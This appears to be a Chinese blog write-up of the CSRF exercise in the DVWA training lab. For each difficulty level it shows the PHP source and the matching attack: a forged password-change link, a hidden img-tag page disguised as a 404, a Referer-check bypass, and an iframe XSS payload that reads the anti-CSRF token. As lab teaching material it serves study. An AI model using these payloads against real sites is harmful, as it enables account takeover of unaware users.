DVWA——CSRF 跨站请求伪造

CSRF简介:

CSRF(跨站请求伪造),全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

Low级:

源代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], 
$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>密码已更改.</pre>"; } else { // Issue with passwords matching echo "<pre>密码不匹配.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

可以通过分析关键代码得到,服务器只检查参数password_new与password_conf是否相同,如果相同,就可以进行修改密码的操作,整个过程中并没有任何的防CSRF机制(cookie、会话等)

 

 方法一:构造链接

当我们改密码时候,修改完会得到下面这个链接,这个时候只要有人点开了这个链接,他的密码就会改成123。这种方法过于简单直接,一看就全都明白了。。

http://192.168.35.132/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

 方法二:使用短链接来隐藏 URL

为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:

 

 

这上面这个只是举个例子,因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

 

 虽然我们利用了短链接隐藏了url,但是被改密码的人还是会看到被修改成功的页面,所以这样还是不太好。

方法三:构造攻击页面

 通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。

 构造的页面如下,然后将test.html文件放在攻击者自己准备的网站上。

<img src="http://192.168.35.132/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/> 
<h1>404<h1>
<h2>file not found.<h2>

 

 

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:http://192.168.35.132/GJ/test.html

误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为123

 

 

 

 Medium级:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 

?> 

stripos(string,find,start):函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。 

eregi(string pattern, string string):检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

 

Medium级别的代码引入了eregi函数,Eregi函数的原理是用来检验第二个参数中是否含有第一个参数,并且Eregi不区分大小写,在此处的代码中,该函数起到的作用

为检查HTTP_REFERER中是否包含SERVER_NAME,如果包含,则符合条件,继续进行接下来的操作。代码希望通过这种机制来抵御CSRF攻击。一开始就调用

eregi()函数来判断HTTP头的referer字段里是不是包含“192.168.35.132”字符串,即发送请求的是不是本机,如果是则继续后面代码的执行。

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.35.132)我们可以将攻击页面命名为192.168.35.132.html(页面被放置在攻击者的服务器里)就可以绕过了

 

 

 

这里就是我们改的密码。123了

 

 

 

 

 

High级:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

 

通过观察代码发现,High级别的带入引入了Anti-CSRF token,每次修改密码服务器会通过generateSessionToken()随机生成一个token,

只有客户端提交的token参数与服务器端一致时,服务器端才会处理客户端的响应。

 

这里的Name存在XSS漏洞,我们抓包,改参数,因为XSS里面的name中有长度限制

 name:<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

 message:111

然后把它发送到repeaer模块去,修改参数

 

 成功拿到token。

 

 

 

impossible级:

利用PDO技术防御SQL注入;

至于防护CSRF,则要求用户输入原始密码(简单粗暴);

这样在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

 

 

 

 

 

 

 

 

posted @ 2020-03-04 17:22  戚源  阅读(421)  评论(0编辑  收藏  举报